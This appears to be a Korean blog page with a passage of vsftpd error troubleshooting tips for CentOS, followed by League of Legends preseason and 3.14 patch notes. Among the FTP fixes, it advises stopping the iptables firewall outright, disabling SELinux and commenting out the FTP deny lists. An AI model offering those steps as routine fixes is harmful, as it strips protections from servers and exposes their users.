이럴 경우에는 host server 의 iptable을 살펴 보아야 한다.

사용 하지 않을 거면 iptables 를 stop 한다

#/etc/init.d/iptables stop

그 후

500 OOPS : cannot change directory:/root

500 OOPS : child died

라고 나오는 경우 아래와 같이 입력한다.

# setsebool -P ftp_home_dir=1


3. vsftp에서 500 OOPS: cannot change directory 오류가 나올 때

참조 : http://opencode.co.kr/bbs/board.php?bo_table=linux_tips&wr_id=27

/etc/vsftpd/vsftp.conf를 수정했는데도 불구하고 500 애러가 나오면서 접속이 안될때는
SELinux 때문이라고 합니다.

# setsebool -P ftp_home_dir=1

이렇게 하면, ftp directory에 대한 접근을 허가 하게된다.
"-P"는 Rebooting 될더라도 값을 저장하여,
정상적으로 동작 하도록 한다.


vsftpd(vsftp 데몬)의 상태를 보기
service vsftpd status

iptables(방화벽)의 상태를 보기
service iptables status


4. FTP 접속시 530 Permisiion Denied 발생


/etc/vsftpd/vsftpd.conf 파일 하단에

userlist_enables=YES 를 NO로 바꾸거나


아래의 파일 내부 계정들을 주석처리(#) 하면 된다.

아래의 파일 리스트에 계정이 있으면 FTP 접속이 불가하며 530 퍼미션 거부를 당하게 된다.

/etc/vsftpd/user_list    (해당 리스트 계정들은 계정 비번 조차 확인 안하고 거부됨)

/etc/ftpusers              (해당 리스트 계정들은 비번을 맞게 쳐도 거부됨)


/etc/vsftpd/user_list 내부에 userlist_deny 부분을 재조정 해도 된다.



5. OOPS: cannot change directory:/home/ueco

-> # setsebool -P ftp_home_dir=1 명령으로 해결


6. OOPS: could not read chroot() list file:/home/ueco

-> vsftp.conf설정에서 chroot관련 설정을 모두 주석처리함


7. OOPS: 500 OOPS: child died

디렉터리 목록을 획득할 수 없습니다.

Entering Passive Mode (10,250,114,243,21,35).

->컴퓨터의 FTP툴에서 Passive 모드를 비활성화해서 접속함



8. 533 could not create file

업로드 시 발생. 업로드 하려는 해당 디렉토리의 소유권과 관련된 에러임.

ftp 클라이언트 측에서 접속한 ID와 접속한 디렉토리의 소유자 및 소유 그룹이 다를 경우 발생하기도 한다.

chown 소유자 경로

chgrp 소유그룹 경로


를 해도 안되면 SELINUX 기능을 정지시켜 버리면 된다.

/etc/selinux/config 파일에서 SELINUX=disabled 수정 뒤 재부팅


-------------------------------------------------------------------------------


1. vsftpd.conf 파일의 정보

참조 : http://kch1183.blog.me/50099324984



2. CentOS. FTP 총정리

참조 : http://blog.naver.com/newkyh00?Redirect=Log&logNo=30111155337




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출처 : 리그 오브 레전드 공식 홈페이지


추가 변경 사항

이미 3.14패치가 적용된 지역에서 일부 아이템이 게임 밸런스를 지나치게 파괴한다는 플레이어 여러분의
의견이 있었습니다. 이를 검토한 후, 긴급 밸런스 조정을 단행하기로 결정했습니다.
프리시즌은 아직 시작 단계이므로 대대적인 변경은 좀 더 시간을 두고 지켜본 뒤 진행할 예정입니다.

아이템

  • 사냥꾼의 마체테, 정령석, 마드레드의 갈퀴손
    • 고유 지속 효과: 무력화
      • 기본 공격 적중 시 체력 회복량이 3에서 5로 변경됐습니다.
  • 리글의 랜턴
    • 조합 비용이 300골드에서 150골드로 낮아졌습니다. (총 가격은 1800에서 1650으로 조정)


    아이템

    아이템 변경 일반

    설명:와드 기능 변경, 와드 수 제한, 장신구 추가와 같은 시야 장악 시스템 변경으로 인해 예언자의 영약을 게임에서 삭제했습니다. 앞으로도 시야 장악 관련 상황을 지속적으로 지켜보며 필요 시 수정할 예정입니다.

    다음 아이템은 게임에서 삭제됐습니다

    • 일라이자의 기적
    • 예언자의 영약

    다음 아이템은 리메이크했습니다. (신규 아이템 상세 설명은 아래를 참조하세요.)

    • 현자의 돌
    • 케이지의 행운
    • 용맹의 징표


    서포터 아이템

    설명: 프리시즌에서는 서포터가 더 많은 골드를 획득하여 게임 후반에 더 큰 힘을 발휘할 수 있도록 골드 획득 아이템을 추가 제공하고자 합니다. 골드 획득 아이템은 1개로 소지가 제한됩니다.
    프리시즌 웹사이트 에서 자세히 확인하세요.

    신규 아이템: 주문 도둑의 검

    • 가격: 365 골드
    • 주문력 +10
    • 5초당 마나 재생 +3
    • 10초당 골드 +2
    • 고유 지속 효과 - 배당: 챔피언에 대한 기본 공격 시 4골드를 획득하며, 적 하나에 대하여 10초당 최대 1번 발동합니다. 미니언을 처치하면 10초 동안 이 지속효과가 해제됩니다.

    신규 아이템: 얼음 송곳니

    • 재료 아이템: 주문도둑의 검 + 485골드 = 총 가격: 850골드
    • 주문력 +20
    • 5초당 마나 재생 +7
    • 10초당 골드 +4
    • 고유 지속 효과 - 배당: 챔피언에 대한 스킬과 기본 공격 시 8골드를 획득하며, 적 하나에 대하여 10초당 최대 1번 발동합니다. 미니언을 처치하면 10초 동안 이 지속 효과가 해제됩니다.

    신규 아이템: 서리 여왕의 지배

    • 재료 아이템: 얼음 송곳니 + 증폭의 고서 + 715골드 = 총 가격 2000골드
    • 주문력 +50
    • 5초당 마나 재생 +10
    • 10초당 골드 +4
    • 고유 지속 효과 - 배당: 챔피언에 대한 스킬과 기본 공격 시 8 골드를 획득하며, 적 하나에 대하여 10초당 최대 1번 발동합니다. 미니언을 처치하면 10초 동안 이 지속 효과가 해제됩니다.
    • 고유 사용 효과 - 혹한의 포옹: 대상 적 챔피언과 주변 모든 적을 얼려, 50의 마법 피해를 입히고 2초간 이동 속도를 50% 늦춥니다. (재사용 대기시간 60초)

    신규 아이템: 고대 주화

    • 가격: 365 골드
    • 5초당 체력 재생 +5
    • 5초당 마나 재생 +3
    • 고유 지속 효과 - 나눠받기: 주변에서 내가 최후의 일격을 가하지 않은 미니언이 쓰러지면 2 골드를 획득합니다.

    신규 아이템: 유목민의 메달

    • 재료 아이템: 고대 주화 + 485골드 = 총 가격 850골드
    • 5초당 체력 재생 +8
    • 5초당 마나 재생 +11
    • 10초당 골드 +2
    • 고유 지속 효과 - 나눠받기: 주변에서 내가 최후의 일격을 가하지 않은 미니언이 쓰러지면 4 골드를 획득합니다.

    신규 아이템: 승천의 부적

    • 재료 아이템: 유목민의 메달 + 요정의 부적 + 970골드 = 총 가격 2000골드
    • 재사용 대기시간 감소 +20%
    • 5초당 체력 재생 +10
    • 5초당 마나 재생 +15
    • 10초당 골드 +2
    • 고유 지속 효과 - 나눠받기: 주변에서 내가 최후의 일격을 가하지 않은 미니언이 쓰러지면 4 골드를 획득합니다.
    • 고유 사용 효과: 3초 동안 주변 아군들의 이동 속도가 +40% 상승합니다. (재사용 대기시간 60초)

    신규 아이템: 고대유물 방패

    • 가격: 365 골드
    • 체력 +50
    • 5초당 체력 재생 +6
    • 고유 지속 효과 - 전리품: 기본 공격 시 체력이 200 이하인 미니언이 처치됩니다. 미니언을 처치하면 가장 가까이 있는 아군 챔피언을 플레이어의 최대 체력의 2%만큼 치유하며, 이 챔피언에게 (처치한 골드 + 5) 골드를 부여합니다.
      • 이 효과는 근처에 아군 챔피언이 있어야 하며, 60초마다 재충전됩니다. 최대 충전량 2번
      • 이 효과는 근접 기본 공격에 의해서만 발동됩니다.
      • 고대유물 방패 아이템에 대해 굵은 글씨 부분과 같이 긴급 밸런스 패치가 이루어졌습니다. 현재 게임 내 툴팁에는 변경 전 효과가 나타나고 있으며, 이는 다음 패치에 수정될 예정입니다.

    신규 아이템: 타곤산의 보호

    • 재료 아이템: 고대유물 방패 + 485골드 = 총 가격 850골드
    • 체력 +175
    • 5초당 체력 재생 +12
    • 고유 지속 효과 - 전리품: 기본 공격 시 체력이 200 이하인 미니언이 처치됩니다. 미니언을 처치하면 가장 가까이 있는 아군 챔피언을 플레이어의 최대 체력의 2%만큼 치유하며, 이 챔피언에게 (처치한 골드 + 10) 골드를 부여합니다.
      • 이 효과는 근처에 아군 챔피언이 있어야 하며, 30초마다 재충전됩니다. 최대 충전량 4번.

    신규 아이템: 산악 방벽

    • 재료 아이템: 타곤산의 보호 + 루비 수정 + 675골드 = 총 가격 2000골드
    • 체력 +375
    • 재사용 대기시간 감소 +10%
    • 5초당 체력 재생 +25
    • 고유 지속 효과 - 전리품: 기본 공격 시 체력이 200 이하인 미니언이 처치됩니다. 미니언을 처치하면 가장 가까이 있는 아군 챔피언을 플레이어의 최대 체력의 2%만큼 치유하며, 이 챔피언에게 (처치한 골드 + 10) 골드를 부여합니다.
      • 이 효과는 근처에 아군 챔피언이 있어야 하며, 30초마다 재충전됩니다. 최대 충전량 4번
    • 고유 사용 효과 - 치명적 저항: 현재 체력의 20%를 소모하여 4초 동안 대상 아군에게 최대 체력의 10%에 해당하는 보호막을 씌웁니다. 4초가 지나면 대상이 폭발하여 일정한 범위에 플레이어의 최대 체력의 10%에 해당하는 마법 피해를 입힙니다. (재사용 대기시간 60초)
    • 현재 ‘치명적 저항’이 ‘죽음의 대형’으로 잘못 표기되고 있으며, 이는 다음 패치에 ‘치명적 저항’으로 수정될 예정입니다.


    정글 사냥꾼 아이템

    설명:정글 사냥꾼용 아이템에 골드 획득 기능을 추가하여, 정글 사냥꾼다운 플레이스타일을 보완하면서도 추가 골드를 얻을 수 있도록 했습니다.
    프리시즌 웹사이트 에서 자세히 확인하세요.

    사냥꾼의 마체테

    • 몬스터에게 기본 공격 적중 시 체력 +3

    정령석

    • 몬스터에게 기본 공격 적중 시 체력 +3

    마드레드의 갈퀴손

    • 방어력 증가량이 +20으로 줄었습니다. (기존 +25)

    리메이크 아이템: 리글의 랜턴

    • 재료 아이템: 마드레드의 갈퀴손 + 단검 + 단검 = 총 가격 1800골드
    • 방어력 +20
    • 공격 속도 +25%
    • 고유 지속 효과 - 무력화: 몬스터에게 기본 공격 적중 시 100의 추가 마법 피해를 입히고 10의 체력을 회복합니다.
    • 고유 지속 효과: 몬스터에게서 얻는 골드 획득량이 40% 증가합니다.
    • 고유 사용 효과: 180초 동안 주변 지역을 보여주는 투명 와드를 설치합니다. (재사용 대기시간 180초)

    도마뱀 장로의 영혼

    • 공격력 증가량이 +30으로 줄었습니다. (기존 +35)
    • 물리 피해를 가하면 3초에 걸쳐 (레벨에 따라) 16-50의 고정 피해를 입힙니다. (기존 7-40)
    • 고유 지속 효과 - 현상금 사냥꾼: 챔피언 처치와 어시스트, 에픽 몬스터 처치 시 40의 추가 골드, 대형 몬스터 처치 시 10의 추가 골드를 획득합니다.

    고대 골렘의 영혼

    • 체력 증가량이 +350으로 줄었습니다. (기존 +500)
    • 고유 지속 효과 - 비축: 1.5초마다 비축 중첩 획득
      • 대형 및 에픽 몬스터 처치 시 중첩을 소모하여 소모한 중첩 수만큼 골드를 획득합니다.
      • 몬스터 처치 시 최대 40의 추가 골드를 획득합니다.
      • 효과는 최대 80까지 누적됩니다.

    리메이크 아이템: 망령의 영혼

    • 재료 아이템: 정령석 + 악마의 마법서 = 총 가격 2000골드
    • 주문력 +50
    • 재사용 대기시간 감소 +10%
    • 5초당 체력 재생 +14
    • 5초당 마나 재생 +7
    • 고유 지속 효과: 몬스터에게 가한 스킬 피해의 8%만큼 체력과 마나를 회복합니다. (광역 피해 스킬의 경우 절반의 효과 적용)
    • 고유 지속 효과 - 현상금 사냥꾼: 챔피언 처치와 어시스트, 에픽 몬스터 처치 시 40의 추가 골드, 대형 몬스터 처치 시 10의 추가 골드를 획득합니다.
    • 고유 지속 효과 - 도살자: 몬스터에 대한 피해량이 30% 증가합니다.


    기타 아이템 변화:

    도란의 검

    • 가격이 440골드로 줄었습니다. (기존 475골드)
    • 공격력 증가량이 +8로 줄었습니다. (기존 +10)
    • 기본 공격 시마다 원거리 챔피언은 체력이 3씩, 근접 챔피언은 5씩 회복됩니다.

    롱소드

    • 가격이 360골드로 줄었습니다. (기존 400골드)
    • 롱소드 가격 인하에 맞추어, 롱소드를 재료 아이템으로 하는 모든 아이템의 조합 비용이 증가했습니다. (해당하는 모든 아이템의 총 가격은 그대로 유지됩니다.)

    설명: 기존 골드 획득 아이템에서 업그레이드하던 아이템들의 재료 아이템을 변경했습니다.

    군단의 방패

    • 재료 아이템 변경: 원기 회복의 구슬 + 천 갑옷 + 루비 수정 + 마법무효화의 망토 + 595골드 = 총 가격 1950골드

    업데이트된 아이템: 지휘관의 깃발

    • 재료 아이템: 악마의 마법서 + 방출의 마법봉 + 720골드 = 총 가격 2400골드
    • 주문력 +80
    • 재사용 대기시간 감소 +20%

    • 고유 오오라 - 용맹: 주변 아군 미니언의 공격력이 15% 증가합니다.
    • 고유 사용 효과 - 진급: 주변의 공성 미니언을 더욱 강력한 유닛으로 바꾸고, 해당 유닛이 획득하는 골드를 나눠 갖습니다. (재사용 대기시간 180초)

    업데이트된 아이템: 미카엘의 도가니

    • 재료 아이템: 조화의 성배 + 720골드 = 총 가격 1600골드
    • 마법 저항력 +40
    • 5초당 마나 재생 +12
    • 고유 지속 효과 - 마나의 샘: 마나를 1% 잃을 때마다 마나 재생력이 1% 증가합니다.
    • 고유 사용 효과: 아군 챔피언에게 걸린 기절, 속박, 도발, 공포, 침묵, 둔화 효과를 제거하고 대상의 체력을 150 (+최대 체력의 10%)만큼 치유해 줍니다. (재사용 대기시간 180초)

    업데이트된 아이템: 저항 공성기

    • 재료 아이템: 루비 수정 + 방출의 마법봉 + 665골드 = 총 가격 2000골드
    • 체력 +350
    • 주문력 +50
    • 고유 사용 효과: 근처의 적 포탑이 2.5초간 공격할 수 없게 막습니다. (재사용 대기시간 120초) 이 효과는 동일한 포탑에 대해서는 7.5초가 지나야만 다시 적용됩니다.

    리메이크 아이템: 고대인의 의지

    • 재료 아이템: 마법공학 리볼버 + 요정의 부적 + 요정의 부적 + 440골드 = 총 가격 2000골드
    • 주문력 +50
    • 5초당 마나 재생 +10
    • 재사용 대기시간 감소 +10%
    • 고유 지속 효과: 주문 흡혈 +20%

    쌍둥이 그림자

    • 재료 아이템 변경: 증폭의 고서 + 증폭의 고서 + 마법무효화의 망토 + 730골드 = 총 가격 2000골드
    • 주문력 증가량이 +50으로 증가했습니다. (기존 +40)
    • 뒤틀린 숲과 수정의 상처에서는 총 가격이 200골드 낮습니다.

    ▲Top



    시야 장악

    와드

    설명: 이전까지는 대부분 서포터 플레이어가 시야 장악을 혼자서 책임졌습니다. 이번 업데이트를 통해 팀원 모두가 시야 장악에 참여할 수 있도록 하려 했습니다. 또한 시야 장악 측면에서 좀더 역동적인 게임플레이를 장려할 수 있도록 변경했습니다.
    프리시즌 웹사이트 에서 자세히 확인하세요.


    시야 와드

    • 시야 와드(초록색 와드)의 이름이 '투명 와드'로 바뀌었습니다.
    • 한 플레이어가 한번에 맵 상에 설치할 수 있는 투명 와드의 수가 세 개로 제한됩니다.
    • 와드 툴팁에서 현재 몇 개의 투명 와드가 설치돼 있는지 확인할 수 있습니다.

    시야석 및 루비 시야석

    • 이제 따로 시야석으로 설치할 수 있는 와드 수 제한은 없으나, 투명 와드 설치 수 제한에 포함됩니다.

    투명 감지 와드

    • 투명 감지 와드 (핑크색 와드)는 이제 상대 팀이 볼 수 있습니다.
    • 5번의 공격을 받아야 파괴됩니다.
    • 파괴되지 않는 한 영구 지속됩니다.
    • 투명 감지 와드의 가격이 100골드로 감소됐습니다. (기존 125)
    • 한 플레이어가 한번에 맵 상에 설치할 수 있는 투명 와드의 수가 한 개로 제한됩니다.

    일반

    • 와드를 설치하면 현재 설치된 와드 수와, 어떤 와드가 사라질지 표시됩니다.


    시야 장신구 (소환사의 협곡 전용)

    • 시야 아이템인 장신구를 위한 일곱 번째 전용 아이템 슬롯이 추가됐습니다.
    • 장신구는 원할 때 마다 상점에서 되팔아 교체할 수 있지만 새로 장착한 장신구는 180초가 경과한 후에 사용할 수 있게 됩니다.

    • 3가지 무료 시야 장신구 아이템 추가: 와드 토템, 수정 구술, 탐지용 렌즈
      • 와드 토템 - 60초 동안 유지되는 투명 와드를 설치합니다. (재사용 대기시간 120초)
      • 수정 구슬 - 1초 동안 반경 1100내의 지역을 드러냅니다. (재사용 대기시간 150초)
      • 탐지용 렌즈 - 4초 동안 작은 반경 내의 투명한 와드, 덫, 또는 장치를 드러내서 차단합니다. (재사용 대기시간 180초, 반경 400)

    • 챔피언이 9레벨이 되면 다음의 아이템으로 자동 진화됩니다.
      • 상급 토템 - 투명 와드가 120초 동안 유지됩니다. (재사용 대기시간 120초))
      • 상급 구슬 - 사용 반경이 2000으로 증가합니다. (재사용 대기시간 150초)
      • 상급 렌즈 - 광역 피해를 입히는 반경 100% 증가, 반경이 600으로 증가합니다. (재사용 대기시간 150초)

    • 상점에서 475골드를 추가로 지불해 다음의 아이템으로 업그레이드 할 수 있습니다.
      • 상급 투명 토템 - 투명 와드가 180초 동안 유지됩니다. (재사용 대기시간 120초)
      • 상급 투명 감지 토템 - 투명 와드를 투명 감지 와드로 업그레이드 합니다. (재사용 대기시간 180초)

    • 망원 구슬 - 사용 반경이 2500으로 증가합니다. (재사용 대기시간 120초)
    • 예언자의 렌즈 - 사용 시 기존 사용 효과에 더해 10초간 근처의 투명한 유닛을 감지할 수 있게 됩니다. (재사용 대기시간 90초, 반경 600)

    ▲Top



    소환사의 협곡

    다음의 변경 사항은 소환사의 협곡에만 적용됩니다.

    수풀 변경

    설명:와드를 통한 시야 장악과 수풀을 활용한 전투에서 더 다양한 플레이가 가능하도록 맵 상 수풀의 크기를 대부분 줄이고 형태를 변경했습니다.

    • 수풀 안을 모두 밝히려면 두 개 이상의 와드가 필요했던 수풀을 전체적으로 수정했습니다.
    • 정글 내 수풀의 크기를 줄이고 굽이지던 형태를 수정했습니다.
    • 상단 공격로의 수풀을 세 개의 작은 수풀로 나누었습니다.
    • 강 어귀 수풀의 위치를 조금 뒤쪽으로 수정했습니다.

    정글

    프리시즌 웹사이트에서 대해 더 자세한 정보를 확인하세요.

    • 고대 골렘과 늑대 야영지 근처에 새로운 중립 몬스터인 유령을 추가했습니다.

    강타

    • 재사용 대기시간을 40초로 줄였습니다. (기존 60초)
    • 챔피언 레벨에 따라 변동되는 고정 피해량을 390-1000으로 줄였습니다. (기존 460 + (챔피언 레벨x30))

    설명: 정글 몬스터 사냥에 집중하는 정글 사냥꾼은 골드를 충분히 획득하기 어려웠으며 정글 사냥의 난이도 또한 적절하지 않았습니다. 중립 몬스터의 레벨 개념을 도입해 정글 사냥 난이도와 보상이 원활하게 연동되도록 했습니다.

    • 정글 내 중립 몬스터에 레벨이 도입됩니다.
    • 중립 몬스터의 레벨은 생성 시점에서 챔피언들의 평균 레벨에 따라 설정됩니다. (모든 챔피언의 평균 레벨을 반올림한 값으로 설정.)
    • 정글 내 중립 몬스터의 레벨에 따라 체력과 피해량, 경험치 및 골드 보상이 증가합니다.

    설명: 정글 사냥꾼의 레벨이 뒤쳐지면 게임 흐름을 따라잡기가 지나치게 어려웠습니다. 이제 자신보다 더 높은 레벨의 중립 몬스터를 처치하면 추가 경험치를 획득할 수 있습니다.

    • 중립 몬스터보다 챔피언의 레벨이 낮은 경우, 몬스터 처치 시 1레벨 차이당 50%의 보너스 경험치를 획득합니다. (상한 있음)

    설명: 다양한 재사용 대기시간 감소 효과 중에서도 고대 골렘의 문장 효과는 공격로 장악에 지나치게 큰 영향력을 미쳤습니다.

    • 고대 골렘의 문장 ('블루 효과')
      • 재사용 대기시간이 10%로 감소됐습니다. (기존 20%)

    정글 몬스터 능력치 (소환사의 협곡)

    설명: 정글 내 중립 몬스터가 게임의 흐름과 변경된 아이템에 더 잘 맞도록 수정됐습니다.

    • 고대 골렘
      • 체력이 1400에서 1500으로 증가했습니다.
      • 골드가 66에서 60으로 감소했습니다.
    • 도마뱀 장로
      • 체력이 1400에서 1500으로 증가했습니다.
      • 골드가 66에서 60으로 감소했습니다.
    • Lizard
      • 기본 공격 피해량이 11에서 12로 증가했습니다.
      • 경험치가 50에서 20으로 감소했습니다.
      • 골드가 5에서 7로 증가했습니다.
    • 거대한 늑대
      • 기본 공격 피해량이 35에서 40으로 증가했습니다.
      • 경험치가 170에서 110으로 감소했습니다.
      • 골드가 55에서 40으로 감소했습니다.
      • 이제 치명타 피해를 입히지 않습니다.
    • 늑대
      • 기본 공격 피해량이 8에서 14로 증가했습니다.
      • 경험치가 10에서 25로 증가했습니다.
      • 골드가 4에서 8로 증가했습니다.
      • 이제 치명타 피해를 입히지 않습니다.
    • 골렘
      • 기본 공격 피해량이 59에서 60으로 증가했습니다.
      • 경험치가 160에서 140으로 감소했습니다.
    • 작은 골렘
      • 체력이 300에서 450으로 증가했습니다.
      • 경험치가 38에서 40으로 증가했습니다.
    • 망령
      • 경험치가 103에서 90으로 감소했습니다.
      • 골드가 30에서 35로 증가했습니다.
    • 하급 망령
      • 체력이 150에서 250으로 증가했습니다.
      • 기본 공격 피해량이 10에서 12로 증가했습니다.
      • 경험치가 4에서 20으로 증가했습니다.
      • 골드가 3에서 4로 증가했습니다.
    • 유령 (신규 몬스터)
      • 체력 1400
      • 공격력 75
      • 방어력 15
      • 골드 60
      • 경험치 150

    맵 상 주요 목표 (소환사의 협곡)

    프리시즌 웹사이트 에서 맵 상 주요 목표 변경 사항에 대해 더 자세히 확인하세요.

    드래곤

    설명: 게임 초반에 드래곤을 처치한 팀이 가져가는 지나치게 큰 이득을 줄이고, 게임 중반에 드래곤 사냥을 통해 게임의 흐름을 뒤집을 수 있는 여지를 마련하기 위해 이제 드래곤 처치 시 팀 전체가 획득하는 골드량과 주위 팀원들이 획득하는 경험치량이 드래곤의 레벨에 비례하도록 변경했습니다. 또한, 레벨이 많이 뒤쳐지는 챔피언에게는 경험치를 추가로 제공합니다. 생성될 때 레벨이 오르는 중립 몬스터와는 달리, 드래곤은 지속적으로 레벨이 오릅니다.

    • 드래곤 레벨: 최소 6, 최대 15
    • 드래곤 처치 경험치: 드래곤 레벨에 따라 150~510의 경험치가 근처의 아군 챔피언에게 분배됩니다.
    • 드래곤 처치 골드: 드래곤 레벨에 따라 125~260의 골드가 모든 아군 챔피언에게 주어집니다.
    • 드래곤을 처치한 팀의 평균 챔피언 레벨이 적 팀보다 낮을 경우, 드래곤은 팀 평균 레벨 차이 1당 +25%의 추가 경험치를 제공합니다.
    • 팀에서 레벨이 가장 낮은 챔피언에겐 훨씬 더 큰 추가 경험치가 주어집니다. 해당 챔피언은 드래곤과 자신의 레벨 차이를 제곱하여, 1당 15%, 최대 200%의 추가 경험치를 획득합니다.

    포탑

    설명: 외곽 포탑 철거는 각 공격로의 개별 목표인데도, 포탑이 철거되면 모든 팀원이 같은 양의 골드를 획득했습니다. 이 방식에는 좋은 점도 있으나, 한 공격로의 외곽 포탑이 너무 일찍 파괴되었다고 다른 공격로의 아군이 불이익을 받는 상황은 바람직하지 않다고 판단했습니다.

    • 외곽 포탑 철거 시, 팀원 전체가 각각 100골드씩을 획득하며, 포탑 철거에 기여한 플레이어들은 추가적으로 150골드를 나누어 얻습니다.
    • 내부 포탑 철거 시, 팀원 전체가 각각 125골드씩을 획득하며, 포탑 철거에 기여한 플레이어들은 추가적으로 100 골드를 나누어 얻습니다.
    • 억제기 포탑 철거 시, 팀원 전체가 각각 175 골드씩을 획득합니다.

    설명: 서포터나 마법사가 포탑 아래서 미니언을 처치할 때와 공격력이 높은 챔피언이 같은 행동을 할 때, 미니언에게 최후의 일격을 날리려면 어떻게 해야 하는지에 대한 일관된 기준이 모호했습니다. 포탑의 기본 공격력과 미니언에게 입히는 피해량을 조정하여 모든 챔피언이 포탑 아래에서 비슷한 방식으로 미니언을 처치할 수 있도록 조정했습니다.

    • 미니언 체력 성장에 맞추어 포탑의 기본 공격력을 조정했습니다.
    • 포탑이 미니언에 입히는 피해량을 증가시켜, 모든 챔피언이 비슷한 방식으로 포탑 아래서 미니언을 처치할 수 있도록 했습니다.

    설명: 외곽 포탑 철거 시 모든 팀원에게 주어지는 경험치 때문에 다른 공격로에 서 있는 챔피언의 레벨이 갑작스레 오르는 상황 등이 벌어졌습니다. 포탑 철거 경험치가 좀 더 적절한 시점에 주어지도록 변경하여, 엉뚱한 챔피언의 레벨이 오르거나 포탑을 파괴한 팀이 지나치게 유리해지지 않도록 했습니다.

    • 이제 외곽 포탑 철거 시 팀원 모두에게 경험치 30을 부여하지 않습니다.
    • 이제 억제기 포탑 파괴 시 팀원 모두가 경험치 100을 얻습니다. (기존 70)

    설명: 팀원들과 떨어져 단독으로 공격로를 압박하는 챔피언을 상대하려면 많은 대가를 치러야 하는데도 저지 시 별다른 보상이 없었습니다. 아래 변경으로 단독 공격로 압박 전술을 오랫동안 방어하는 팀을 돕고자 했습니다. 이제 혼자서 적 기지를 압박하려면, 장시간 약간씩의 피해를 입히는 걸로는 충분하지 않을 것입니다.

    • 억제기 포탑의 5초당 체력 재생량이 15 늘었습니다.

    억제기

    설명: 억제기 하나를 잃으면 오랫동안 불리한 상황에 처하게 되며, 역전하기도 매우 어려웠습니다. 억제기가 하나만 파괴되더라도 적 팀의 모든 미니언이 더 강력해졌기 때문입니다. 억제기가 파괴되어도 팀 전투를 성공적으로 치러서 역전할 수 있는 여지를 더 넓히고자 했습니다.

    • 억제기 재생성 시간이 5분에서 4분으로 감소했습니다.
    • 이제 억제기가 파괴되어도 모든 공격로의 미니언이 강력해지지 않습니다.
    • 대신 억제기가 파괴된 공격로의 미니언에게 주어지는 공격력 및 생존력 강화 효과가 상향되었습니다.

    게임 시스템 (소환사의 협곡)

    설명: 소환사의 협곡 게임 시스템을 변경하여, 게임 초반이나 후반에 이득을 얻은 팀이 전세를 굳혀 역전을 허용하지 않는 효과를 줄이고자 했습니다. 프리시즌 웹사이트 에서 게임 시스템에 대해 더 자세히 확인하세요.

    사망 시간

    설명: 게임 초반이 매우 중요한 시간이란 점을 고려하면, 게임 초반에 사망했을 때 부활에 걸리는 시간이 너무 길었습니다. 게임 초반 공격로 전투 단계에서 전세가 한 쪽으로 너무 기우는 것을 방지하기 위해, 게임 초반의 사망 시간을 단축했습니다.

    • 사망 시간 시작 값이 12초에서 7.5초로 감소했습니다. 게임이 진행됨에 따라 이전과 같은 수준으로 증가합니다.

    미니언 경험치

    설명: 미니언 처치 시 획득 경험치가 시간이 지나며 증가하기 때문에, 혼자서 사냥 및 공격로 압박을 할 수 있는 챔피언에 비해 기지 공격 또는 주요 목표 장악에 참여해야만 하는 챔피언이 얻는 경험치가 너무 적었습니다. 전자의 레벨이 불공정할 만큼 빠르게 성장하므로, 이 격차를 없애고자 했습니다. 이번 변경으로 지고 있는 팀의 역전 기회가 줄어들 수도 있으므로, 앞으로 면밀히 관찰하여 필요할 경우 추가 변경을 진행할 예정입니다.

    • 공격로 미니언 처치 시 경험치가 시간에 따라 증가하지 않습니다.
      • 처치 시 골드 및 미니언의 능력치는 기존대로 시간에 따라 증가합니다.
    • 공격로 미니언에 레벨이 도입됩니다. 이 레벨은 게임 내 챔피언들의 평균 레벨과 동일하게 결정됩니다.
      • 현재 게임에 영향을 미치지는 않으나 향후 확장 적용될 예정입니다.

    레벨별 경험치 요구량

    • 미니언 변화에 보조를 맞춰 1레벨 상승에 필요한 경험치가 약 10% 감소했습니다.

    챔피언 처치 시 추가 획득 골드 변경 사항

    설명: 게임 초반 사망 시간을 조정함과 동시에, 변경된 게임의 흐름에 더 잘 맞도록 골드 획득량을 조절했습니다.

    • 킬 보상은 게임 시작 후 2분까지는 기본값의 60%이며, 점점 증가해 4분에 기본 보상의 100%로 증가합니다.
    • 어시스트 보상은 게임 시작 후 20분까지는 킬 보상의 50%이며, 점차 증가해 35분에 킬 보상의 80%까지 증가합니다.

    어시스트 보너스

    설명: 킬을 기록하지 못해도 팀 전투에 대한 기여도를 실감할 수 있도록, 대량 어시스트를 기록한 플레이어에게 추가 보상을 지급하게 했습니다.

    • 만약에 킬보다 2번 이상 더 많은 어시스트를 기록하면, 어시스트당 30골드를 추가 획득합니다.
      • 그 후 어시스트를 기록할 때마다 추가 골드량이 15골드씩, 최대 60골드까지 증가합니다.
      • 어시스트 보너스 골드량은 킬 보상 골드를 넘어서지는 않습니다.

    미니언 처치 시 연속 데스 수 감소

    설명: 공격로에서 무조건 미니언을 밀어붙인 후 적진으로 넘어가서 미니언 사냥을 하는 전략으로 게임 흐름을 파괴하는 경우가 있었습니다. 이 전략을 활용하는 챔피언을 처치했을 때 상대가 얻을 수 있는 골드에 해당 챔피언의 기여도가 정확하게 계산되지 않기 때문이죠.

    • 미니언 또는 몬스터를 처치하여 1000골드를 얻을 때마다 연속 데스 수가 1씩 줄어듭니다.

    ▲Top


    특성

    특성

    설명: 몇몇 새로운 특성을 추가했습니다. 특성은 플레이어가 원하는 역할에 맞게 플레이 스타일을 조정하는 데 훌륭한 방법입니다. 특정한 계열의 특성에 많이 투자할수록 하나의 플레이 스타일에 더욱 집중할 수 있도록 하고자, 특성 효과가 게임 진행에 따라 커지도록 하고, 특성이 각 역할군에 더 큰 영향을 끼치도록 변경했습니다.

    • 특성을 변경했습니다.

    특성 계산기 를 통해 더 자세히 알아보세요.

    ▲Top


    랭크 게임

    랭크 게임

    • 시즌 3 로딩 화면 테두리가 다른 게임 모드에서 표시되는 버그를 수정했습니다.


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출처 : 리그 오브 레전드 공식 홈페이지


일반


게임 클라이언트 일반 업데이트

  • 클라이언트를 변경해 한꺼번에 여러 알림을 닫고 알림 팝업을 숨길 수 있게 했습니다.
  • 친구 목록과 알림 창 디자인을 개선하고 알림 작동 방식도 대폭 변경했습니다.
  • 그룹 채팅 기능을 전반적으로 향상시켜 쾌적하고 빠르게 이용하실 수 있습니다.
  • 이제 로딩 화면으로 넘어가기 몇 초 전에 스킨 선택이 확정되어 바꿀 수 없게 됩니다. 기존에는 화면이 바뀌기 직전까지 스킨 선택을 변경할 수 있는 것처럼 보였으나 다른 스킨을 고르면 "Error:Null" 오류 메시지가 나타났습니다.

게임 인터페이스

